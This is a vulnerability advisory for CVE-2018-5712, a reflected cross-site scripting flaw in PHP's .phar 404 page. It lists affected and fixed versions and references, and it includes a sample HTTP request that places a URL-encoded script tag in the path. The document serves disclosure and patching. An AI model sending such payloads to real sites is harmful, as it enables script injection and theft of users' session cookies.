PHP CVE-2018-5712 Cross Site Scripting Vulnerability

Bugtraq ID:	102742
Class:	Input Validation Error
CVE:	CVE-2018-5712
Remote:	Yes
Local:	No
Published:	Jan 16 2018 12:00AM
Updated:	Jan 16 2018 12:00AM
Credit:	passownz
Vulnerable:	PHP PHP 7.2 PHP PHP 7.1.12 PHP PHP 7.1.11 PHP PHP 7.1.8 PHP PHP 7.1.7 PHP PHP 7.1.6 PHP PHP 7.1.5 PHP PHP 7.1.4 PHP PHP 7.1.1 PHP PHP 7.1 PHP PHP 7.0.26 PHP PHP 7.0.25 PHP PHP 7.0.22 PHP PHP 7.0.21 PHP PHP 7.0.17 PHP PHP 7.0.16 PHP PHP 7.0.15 PHP PHP 7.0.14 PHP PHP 7.0.12 PHP PHP 7.0.5 PHP PHP 7.0.3 PHP PHP 5.6.32 PHP PHP 5.6.31 PHP PHP 5.6.30 PHP PHP 5.6.29 PHP PHP 5.6.27 PHP PHP 5.6.22 PHP PHP 5.6.21 PHP PHP 5.6.20 PHP PHP 5.6.19 PHP PHP 5.6.18 PHP PHP 5.6.17 PHP PHP 5.6.13 PHP PHP 5.6.12 PHP PHP 5.6.11 PHP PHP 5.6.5 PHP PHP 5.6.4 PHP PHP 5.6.1 PHP PHP 5.6 PHP PHP 7.1.3 PHP PHP 7.1.2 PHP PHP 7.0.9 PHP PHP 7.0.8 PHP PHP 7.0.7 PHP PHP 7.0.6 PHP PHP 7.0.4 PHP PHP 7.0.2 PHP PHP 7.0.13 PHP PHP 7.0.11 PHP PHP 7.0.10 PHP PHP 7.0.1 PHP PHP 5.6.9 PHP PHP 5.6.8 PHP PHP 5.6.7 PHP PHP 5.6.6 PHP PHP 5.6.3 PHP PHP 5.6.28 PHP PHP 5.6.26 PHP PHP 5.6.25 PHP PHP 5.6.24 PHP PHP 5.6.23 PHP PHP 5.6.2 PHP PHP 5.6.14 PHP PHP 5.6.10
Not Vulnerable:	PHP PHP 7.2.1 PHP PHP 7.0.27 PHP PHP 5.6.33

PHP CVE-2018-5712 Cross Site Scripting Vulnerability

PHP is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP versions prior to 5.6.33, 7.0.0 through 7.0.26, 7.1.0 through 7.1.12, and 7.2.0 are vulnerable.

PHP CVE-2018-5712 Cross Site Scripting Vulnerability

The following example request is available:

GET /myapp.phar/%3cscript%3ealert()%3c/script%3e HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

PHP CVE-2018-5712 Cross Site Scripting Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

PHP CVE-2018-5712 Cross Site Scripting Vulnerability

References:

• PHP 5 ChangeLog (PHP)
  
• PHP 7 ChangeLog (PHP)
  
• Oracle Solaris Third Party Bulletin - April 2018 (Oracle)
  
• Reflected XSS in .phar 404 page (PHP)